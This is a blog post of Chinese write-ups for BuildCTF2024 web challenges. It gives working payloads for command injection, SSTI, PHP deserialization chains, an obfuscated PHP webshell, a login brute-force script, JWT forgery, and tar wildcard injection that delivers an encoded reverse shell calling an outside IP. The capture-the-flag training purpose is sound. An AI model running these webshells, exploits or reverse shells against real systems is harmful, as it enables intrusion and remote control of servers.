首页 > 其他分享 >BuildCTF2024 Web

BuildCTF2024 Web

时间:2024-10-30 12:58:18浏览次数:1  
标签:__ Web return socket BuildCTF2024 app request file

ez!http

http的各种头部字段伪造,无需多言.

find-the-id

生成一个1~很大的字典去爆破

我写的网站被rce了?

命令注入,payload为|nl${IFS}/f[k-m]ag||

babyupload

有meme检测,扩展名应该是白名单.
传个htaccess上去,然后传个伪造了文件头的马.
还对马里面的内容进行了检测,绕的彻底一点.

<?= $_="{"; $_=($_^"<").($_^">;").($_^"/"); ?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>

使用:http://target.com/path/to/shell.php?_=system&__=env

tflock

robots.txt泄露找到了两个用户,ctfer/123456和admin/x.
x的值是密码本中的一个.然而连续两次输入错误密码会被锁定(离谱逻辑).
所以交替登录admin和ctfer.写成脚本如下.

import requests

url = "http://27.25.151.80:34086//login.php"

proxy = {
    "http": "http://127.0.0.1:8080",
}

header = {
    "Host": "27.25.151.80:34086",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
    "Accept": "application/json, text/javascript, */*; q=0.01",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "X-Requested-With": "XMLHttpRequest",
    "Content-Length": "36",
    "Origin": "http://27.25.151.80:34086",
    "Connection": "close",
    "Referer": "http://27.25.151.80:34086/index.php",
    "Priority": "u=0"
}

data1 = {
    "username": "ctfer",
    "password": "123456"
}

with open ("1.txt", "r") as f:
    dic = f.readlines()

cookie = {
    "GZCTF_Token": "CfDJ8HK89lxLDJFGkMjPh05_xUoE_JHh1L_X1GXVwvDeqsV0kN2oLhNVGyrpw0mwbSUdhtej_uiSsdRabJNFRMBmlS6dT2DMnasxnRQjWTSTmByKdDv4cIa0H9V5uti_OJkiUzql2yImeq4QFJnitQlouXfAzXgN0-vWhAtRAVs8pYqUj-j-3Yrwn-pbBS2cgic6R3kqo9hcn0nV5JedyC3yS9PKOVU1zh9WJjFuuUrIxHXt2TPprinB-NEjQW8nzkot5RqtgbtavwDYNH81Pe0U3a1NUoYFcn4qaEZ2JonajHfjU6rFCPd9EMDUTBKJ3jLTM-HCvkzAnzVumMiXBBgD602AdNodjuUhI-h9GgLzfpre5_VKf9pR_IzJRJ63Eg5YgnzSigvai-Zt725s3Htxm5nlVtZMLSn4WCOVYKQ7okuD-WE2_c7lggZnzEYIOZtnOQKhwV7HYnZmGnBM6Prkr8BOvizDW-D7-9uz6y56c2QWP2-YGd_18PO_PweydIEXolQwKJ0fvgReJGvUnHg-rrS0GHggayN5GzUXK0qC6VDMSO7Lr9SHHKRonPu6d6y7hosaJNKBfc3xYvc6XUFeTD6DIdWIWISvsYVRAkgAW-UYXIz6rjzG5IhJIEpaycYsgFkDf9T-qp9RCq2aLaR3GNYL7yDOvRDMTKcpuR2fHtKa8Q3DTl9d19Cv60x3usnzXN6V96D4CxB0p2ZP0anIQlM"
}

for i in range (len(dic)):
    data2 = {
        "username": "admin",
        "password": dic[i][:-1]
    }
    response = requests.post(url = url, headers = header, data = data1, proxies = proxy, cookies = cookie)
    cookie_dict = requests.utils.dict_from_cookiejar(response.cookies)
    response = requests.post(url = url, headers = header, data = data2, proxies=proxy, cookies = cookie)
    cookie_dict = requests.utils.dict_from_cookiejar(response.cookies)
    if '{"success":false,"message":"\\u7528\\u6237\\u540d\\u6216\\u5bc6\\u7801\\u9519\\u8bef"}' != response.text:
        print("success" + dic[i])
        print(response.text)
        break
    print(str(i) + " " + dic[i])

RedFlag

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/redflag/<redflag>')
def redflag(redflag):
    def safe_jinja(payload):
        payload = payload.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + payload

    return flask.render_template_string(safe_jinja(redflag))

if __name__ == '__main__':
    app.run()

一个ssti.基本功问题,ssti的小括号根本没法绕过.所以肯定在环境变量.
{{ url_for.__globals__['os'].environ['FLAG'] }}

LovePopChain

<?php
class MyObject{
    public $NoLove="Do_You_Want_Fl4g?";
    public $Forgzy;
    public function __wakeup()
    {
        if($this->NoLove == "Do_You_Want_Fl4g?"){
            echo 'Love but not getting it!!';
        }
    }
    public function __invoke()
    {
        $this->Forgzy = clone new GaoZhouYue();
    }
}

class GaoZhouYue{
    public $Yuer;
    public $LastOne;
    public function __clone()
    {
        echo '最后一次了, 爱而不得, 未必就是遗憾~~';
        eval($_POST['y3y4']);
    }
}

class hybcx{
    public $JiuYue;
    public $Si;

    public function __call($fun1,$arg){
        $this->Si->JiuYue=$arg[0];
    }

    public function __toString(){
        $ai = $this->Si;
        echo 'I W1ll remember you';
        return $ai();
    }
}

@unserialize($a);
if(isset($_GET['No_Need.For.Love'])){
    @unserialize($_GET['No_Need.For.Love']);
}else{
    highlight_file(__FILE__);
} 

很简单的pop链

<?php
class MyObject{
    public $NoLove;
    public $Forgzy;
}

class GaoZhouYue{
    public $Yuer;
    public $LastOne;
}

class hybcx{
    public $JiuYue;
    public $Si;
}
$a = new MyObject();
$a->NoLove = new hybcx();
$a->NoLove->Si = $a;
echo serialize($a);

比较麻烦的是这里$_GET['No_Need.For.Love']
在php中超全局变量中获取到的像.这种属于是非法字符,会被转换为_,也就是说这种接受方法是不具有合法性的.
然而在php8以下的时候,存在绕过问题.
参考博客php非预期传参.

PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

逆天问题啊.
所以我们get方法传参的变量名为No[Need.For.Love

ez_md5

第一关用sql万能密码ffifdyop去过,然后来到第二关.

<?php
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('不可以哦!'); 
    } 
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
    if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
    {
        echo $flag;
    }else die("再想想");

}else die("不是吧这么简单的md5都过不去?");
?>

第一处可以直接用数组去绕,第二处查看robots.txt获得提示,密文为114514xxxxxxx,直接用脚本去爆破.

from hashlib import md5

c0 = '3e41f780146b6c246cd49dd296a3da28'

m0 = 1145140000000

for i in range(0, 100000000):
    m = md5()
    m.update(str(m0+i).encode('utf-8'))
    des = m.hexdigest()
    if des == c0:
        print(i)
        break

eazyl0gin

核心路由如下

router.post('/login',function(req,res,next){
  var data = {
    username: String(req.body.username),
    password: String(req.body.password)
  }
  const md5 = crypto.createHash('md5');
  const flag = process.env.flag

  if(data.username.toLowerCase()==='buildctf'){
    return res.render('login',{data:"你不许用buildctf账户登陆"})
  }

  if(data.username.toUpperCase()!='BUILDCTF'){
    return res.render('login',{data:"只有buildctf这一个账户哦~"})
  }
  
  var md5pwd = md5.update(data.password).digest('hex')
  if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){
    return res.render('login',{data:"密码错误"})
  }
  return res.render('login',{data:flag})

})

第一层用ASCII码305的字符ı代替i,进行绕过,第二层直接cmd5爆

刮刮乐

改referer,然后传参弹个shell即可.

Why_so_serials?

php反序列化字符串增多逃逸

<?php

error_reporting(0);

class Gotham{
    public $Bruce="hello";
    public $Wayne='jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}';
    public $crime=true;
}

$a = new Gotham();
echo serialize($a);

fake_signin

import time
from flask import Flask, render_template, redirect, url_for, session, request
from datetime import datetime

app = Flask(__name__)
app.secret_key = 'BuildCTF'

CURRENT_DATE = datetime(2024, 9, 30)

users = {
    'admin': {
        'password': 'admin',
        'signins': {},
        'supplement_count': 0,  
    }
}


@app.route('/')
def index():
    if 'user' in session:
        return redirect(url_for('view_signin'))
    return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username in users and users[username]['password'] == password:
            session['user'] = username
            return redirect(url_for('view_signin'))
    return render_template('login.html')

@app.route('/view_signin')
def view_signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    signins = user['signins']

    dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), signins.get(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), False))
             for i in range(1, 31)]

    today = CURRENT_DATE.strftime("%Y-%m-%d")
    today_signed_in = today in signins

    if len([d for d in signins.values() if d]) >= 30:
        return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")
    return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in)

@app.route('/signin')
def signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    today = CURRENT_DATE.strftime("%Y-%m-%d")

    if today not in user['signins']:
        user['signins'][today] = True
    return redirect(url_for('view_signin'))

@app.route('/supplement_signin', methods=['GET', 'POST'])
def supplement_signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    supplement_message = ""

    if request.method == 'POST':
        supplement_date = request.form.get('supplement_date')
        if supplement_date:
            if user['supplement_count'] < 1:  
                user['signins'][supplement_date] = True
                user['supplement_count'] += 1
            else:
                supplement_message = "本月补签次数已用完。"
        else:
            supplement_message = "请选择补签日期。"
        return redirect(url_for('view_signin'))

    supplement_dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d")) for i in range(1, 31)]
    return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)

@app.route('/logout')
def logout():
    session.pop('user', None)   
    return redirect(url_for('login'))

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5051)

一共30天,需要给admin进行签到和补签.然而在逻辑上只能签到一次和补签一次,凑不够30天.
关注一下补签处的逻辑

if user['supplement_count'] < 1:  
                user['signins'][supplement_date] = True
                user['supplement_count'] += 1
            else:
                supplement_message = "本月补签次数已用完。"

先判断是否补签过,没补签过的话设置为补签过了,然后再再增加补签的次数.因此考虑去进行条件竞争.
设置线程数大于30,直接去爆这个supplemented datesupplement_date=2024-09-§01§

sub

import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'

DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}

messages = []

@app.route('/message', methods=['GET', 'POST'])
def message():
    if request.method == 'POST':
        name = request.form.get('name')
        content = request.form.get('content')

        messages.append({'name': name, 'content': content})
        flash('Message posted')
        return redirect(url_for('message'))  

    return render_template('message.html', messages=messages)

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users:
            flash('Username already exists')
            return redirect(url_for('register'))
        users[username] = {'password': generate_password_hash(password), 'role': 'user'}
        flash('User registered successfully')
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users and check_password_hash(users[username]['password'], password):
            access_token = jwt.encode({
                'sub': username,
                'role': users[username]['role'],
                'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
            }, app.config['JWT_SECRET_KEY'], algorithm='HS256')
            response = make_response(render_template('page.html'))
            response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
            # response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
            return response
        else:
            return jsonify({"msg": "Invalid username or password"}), 401
    return render_template('login.html')

@app.route('/logout')
def logout():
    resp = make_response(redirect(url_for('index')))
    resp.set_cookie('jwt', '', expires=0)
    flash('You have been logged out')
    return resp

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/page')
def page():
    jwt_token = request.cookies.get('jwt')
    if jwt_token:
        try:
            payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
            current_user = payload['sub']
            role = payload['role']
        except jwt.ExpiredSignatureError:
            return jsonify({"msg": "Token has expired"}), 401
        except jwt.InvalidTokenError:
            return jsonify({"msg": "Invalid token"}), 401
        except Exception as e:
            return jsonify({"msg": "Invalid or expired token"}), 401

        if role != 'admin' or current_user not in users:
            return abort(403, 'Access denied')

        file = request.args.get('file', '')
        file_path = os.path.join(DOCUMENT_DIR, file)
        file_path = os.path.normpath(file_path)
        if not file_path.startswith(DOCUMENT_DIR):
            return abort(400, 'Invalid file name')

        try:
            content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
        except subprocess.CalledProcessError as e:
            content = str(e)
        except Exception as e:
            content = str(e)
        return render_template('page.html', content=content)
    else:
        return abort(403, 'Access denied')


@app.route('/categories')
def categories():
    return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5050)

注册一个账号去登录,然后登录成功后会返回一个jwt.jwt的secretkey已经给出,可以直接进行伪造admin身份.
然后携带jwt去访问document,也就是/page路由,传参?file=test1.txt;cat /flag进行命令拼接注入.

ez_waf

一道php文件上传的题,测试发现禁用了;'"=<>,一筹莫展.
这个使用大文件绕过,因为php中的file_getcontents和preg_match的检测长度是有限的,如果没对文件上传的长度进行限制的话,可以传一个签名存在10万个无用单词的大文件,最后跟一个一句话马.这样在检测的时候无法检测到后面的非法内容,但是可以在访问的时候被正常的解析.

一个用nodejs写的websocket的网站.后端代码如下.

const express = require('express')
const app = express();

const http = require('http').Server(app);

const port = 3000;

const socketIo = require('socket.io');
const io = socketIo(http);


let sessions = {}
let errors = {}

app.use(express.static(__dirname));

app.get('/', (req, res) => {
    res.sendFile("./index.html")
})

io.on('connection', (socket) => {
    sessions[socket.id] = 0
    errors[socket.id] = 0

    socket.on('disconnect', () => {
        console.log('user disconnected');
    });

    socket.on('chat message', (msg) => {
        socket.emit('chat message', msg);
    });

    socket.on('receivedError', (msg) => {
        sessions[socket.id] = errors[socket.id]
        socket.emit('recievedScore', JSON.stringify({"value":sessions[socket.id]}));
    });

    socket.on('click', (msg) => {
        let json = JSON.parse(msg)

        if (sessions[socket.id] > 1e20) {
            socket.emit('recievedScore', JSON.stringify({"value":"FLAG"}));
            return;
        }

        if (json.value != sessions[socket.id]) {
            socket.emit("error", "previous value does not match")
        }

        let oldValue = sessions[socket.id]
        let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue

        sessions[socket.id] = newValue
        socket.emit('recievedScore', JSON.stringify({"value":newValue}));

        if (json.power > 10) {
            socket.emit('error', JSON.stringify({"value":oldValue}));
        }

        errors[socket.id] = oldValue;
    });
});

http.listen(port, () => {
    console.log(`App server listening on ${port}. (Go to http://localhost:${port})`);
});

前端代码如下

var socket = io();

let cookie = document.querySelector("img")

class sendMessage {
    power = 1
    value = 0
}

let send = new sendMessage();

cookie.addEventListener('click', function (e) {
    socket.emit('click', JSON.stringify({ "power": send.power, "value": send.value }));
    

    const cookieRect = cookie.getBoundingClientRect();
    const cookieWidth = cookieRect.width;
    const cookieHeight = cookieRect.height;

  
    const viewportWidth = window.innerWidth;
    const viewportHeight = window.innerHeight;

      
    const maxX = viewportWidth - cookieWidth;
    const maxY = viewportHeight - cookieHeight;

    const randomX = Math.random() * maxX;
    const randomY = Math.random() * maxY;

  
    cookie.style.position = 'absolute';
    cookie.style.left = `${randomX}px`;
    cookie.style.top = `${randomY}px`;  

});

socket.on('recievedScore', function (msg) {
    let scores = JSON.parse(msg)
    send.value = scores.value
    document.querySelector(".points").textContent = scores.value
});

socket.on('error', function (msg) {
    console.log("Error")
    socket.emit('receivedError', "recieved");
});


document.addEventListener('contextmenu', function (e) {
    e.preventDefault();
});

  
document.addEventListener('keydown', function (e) {
    if (e.key === 'F12') {
        e.preventDefault();
    }
});  

每次点击曲奇会从前端发送一个socket请求给后端,传递power和value这两个值.要求value达到1e20.
我们看到每次的value要和之前的value值进行一个比较,看是否一致.

 let oldValue = sessions[socket.id]
        let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue

        sessions[socket.id] = newValue

而我们也看到,新的值(也就是用于校验的)是根据power来进行生成的,如果我们能够在不触发报错的情况下伪造一个超级大的power,就能够实现绕过.

if (json.power > 10) {
            socket.emit('error', JSON.stringify({"value":oldValue}));
        }

这里报错的逻辑很灵性.是需要服务端向客户端传递一个错误信号,然后客户端再返回一个错误信号才能完成一次报错.
这就导致了一个问题,如果我们把服务端发送的报错信号drop掉,那么就不会完成一次完整的报错,那么power就会伪造成功!
把power改成1e60,drop掉error,成功拿到flag.

打包给你

from flask import Flask, g, render_template, request, redirect, make_response, send_file, after_this_request
import uuid, os


app = Flask(__name__)


@app.before_request
def check_uuid():
    uuid_cookie = request.cookies.get('uuid', None)

    if uuid_cookie is None:
        response = make_response(redirect('/'))
        response.set_cookie('uuid', str(uuid.uuid4()))
        return response
    
    try:
        uuid.UUID(uuid_cookie)
    except ValueError:
        response = make_response(redirect('/'))
        response.set_cookie('uuid', str(uuid.uuid4()))
        return response
    
    g.uuid = uuid_cookie

    if not os.path.exists(f'uploads/{g.uuid}'):
        os.mkdir(f'uploads/{g.uuid}')


@app.route('/', methods=['GET'])
def main():
    return render_template('index.html', files=os.listdir(f'uploads/{g.uuid}'))
    
    
@app.route('/api/upload', methods=['POST'])
def upload():
    file = request.files.get('file', None)
    if file is None:
        return 'No file provided', 400
    
    # check for path traversal
    if '..' in file.filename or '/' in file.filename:
        return 'Invalid file name', 400
    
    # check file size
    if len(file.read()) > 1000:
        return 'File too large', 400
    
    file.save(f'uploads/{g.uuid}/{file.filename}')
    return 'Success! <script>setTimeout(function() {window.location="/"}, 3000)</script>', 200


@app.route('/api/download', methods=['GET'])
def download():
    @after_this_request
    def remove_file(response):
        os.system(f"rm -rf uploads/{g.uuid}/out.tar")
        return response

    # make a tar of all files
    os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")

    # send tar to user
    return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')



if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8888, threaded=True)

没看出来问题,结果后来搜出来原题了.

 os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")

在上面命令执行的时候,*会匹配所有的文件名并将匹配到的element传入到argv中.但是文件名也是字符串,参数也是字符串,因此在argv中会出现混淆.
在tar中我们可以用下面的组合去执行命令.

--checkpoint=1 --checkpoint-action=exec=whoami

因此如果我们上传两个文件名分别为--checkpoint=1--checkpoint-action=exec=whoami的文件就能成功的去执行命令.
贴一个找到的利用脚本,直接去弹shell即可.

import requests, base64


# initializations
URL = "http://27.25.151.80:43352/"
session = requests.Session()
cmd = b"bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx}|{base64,-d}|{bash,-i}'"
#别解密,不然太没素质了...

# get session cookie
session.request("GET", URL)


# upload random file
files = {"file": ("asdfasdf", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)


# upload command
files = {"file": ("--checkpoint=1", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)

files = {"file": (f"--checkpoint-action=exec=echo '{base64.b64encode(cmd).decode()}' | base64 -d | bash", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)


# download flag
resp = session.request("GET", f"{URL}/api/download")

标签:__,Web,return,socket,BuildCTF2024,app,request,file
From: https://www.cnblogs.com/meraklbz/p/18515645

相关文章

  • (web查看三维CAD图纸)在三维网页CAD中绘制一个窗户模型
    前言本文使用mxcad3d在网页中创建一个简单的三维窗户模型,mxcad3d提供了丰富的三维建模功能和便捷的API,使得创建各种三维模型变得简单方便,最终效果如下图: 环境搭建和入门首先学习mxcad的基本使用方法,可通过官方的入门教程来搭建一个最基本的项目模板,依次查看教程:安装`Node.js......
  • 【SpringMVC】web服务器,访问失败的问题,SpringMVC,建立连接,请求
    【web服务器】web服务器可以对http协议进行封装,程序员不需要直接对http协议进行操作(不需要去写复杂的网络编程代码),让web开发更加便捷,所以它也有「WWW服务器」的称呼常见的web服务器:Tomcat,Jboss,IIS等SpringBoot内置了Tomcat服务器,无需配置即可使用Tomcat默认端口是「8080」......
  • webstorm 项目如何配置支持 nodejs
    WebStorm是JetBrAIns推出的一款强大的JavaScript开发IDE,支持Node.js是其内置的功能。要配置WebStorm以支持Node.js项目,您需要进行几个步骤:确保已安装Node.js、在WebStorm中配置Node.js解释器、设置语言版本及库、调整运行/调试配置。下面,我们将详细介绍如何进行这些设......
  • 关于自己写阿里云OSS相关工具类的自动配置(黑马web开发day14)
    阿里云OSS的自动配置主要分为:驱动类:aliyun-oss-spring-boot-autoconfigure自动配置类:aliyun-oss-spring-boot-starter文章目录aliyun-oss-spring-boot-starter创建aliyun-oss-spring-boot-starteraliyun-oss-spring-boot-autoconfigure创建aliyun-oss-spring-boot-aut......
  • Webstorm 2024 安装使用 (附加永久激活码、补丁)
    下载安装第二步,安装完成之后,下载补丁下载地址(里面包含激活码)完成,之后输入激活码免责声明:本文中的资源均来自互联网,仅供个人学习和交流使用,严禁用于商业行为,下载后请在24小时内从电脑中彻底删除。对于因非法使用而引起的版权争议,与作者无关。所有资源仅供学习、参考......
  • springmvc-servlet.xml和web.xml文件的存放路径是哪里?项目添加到Tomcat上运行后就报错
        用eclipse写了一个简单的web项目,springmvc-servlet.xml文件和web.xml文件都配置好了,运行起来能看见hello的web页面,但是有一堆报错,不知道是什么原因                                     ......
  • javascript-Web APLs (三)
     事件流指的是事件完整执行过程中的流动路径 说明:假设页面里有个div,当触发事件时,会经历两个阶段,分别是捕获阶段、冒泡阶段 简单来说:捕获阶段是从父到子冒泡阶段是从子到父 实际工作都是使用事件冒泡为主事件捕获DOM.addEventListener(事件类型,事件处......
  • ctfshow-web入门-爆破(24)
    1.根据题目提示:参考PHP随机数的伪随机数mt_srand(seed);函数播种MersenneTwister随机数生成器。seed,可选。从PHP4.2.0开始,随机数生成器自动播种,因此没有必要使用该函数因此不需要播种,并且如果设置了seed参数生成的随机数就是伪随机数,意思就是每次生成的随机数是一......
  • 2024网鼎杯初赛-青龙组-WEB gxngxngxn
    WEB01开局随便随便输入都可以登录,登上去以后生成了一个token和一个session,一个是jwt一个是flask框架的这边先伪造jwt,是国外的原题CTFtime.org/DownUnderCTF2021(线上)/JWT/Writeup先生成两个token,然后利用rsa_sign2n工具来生成公钥python3jwt_forgery.pyeyJhbGciOi......
  • webpack总结
    ......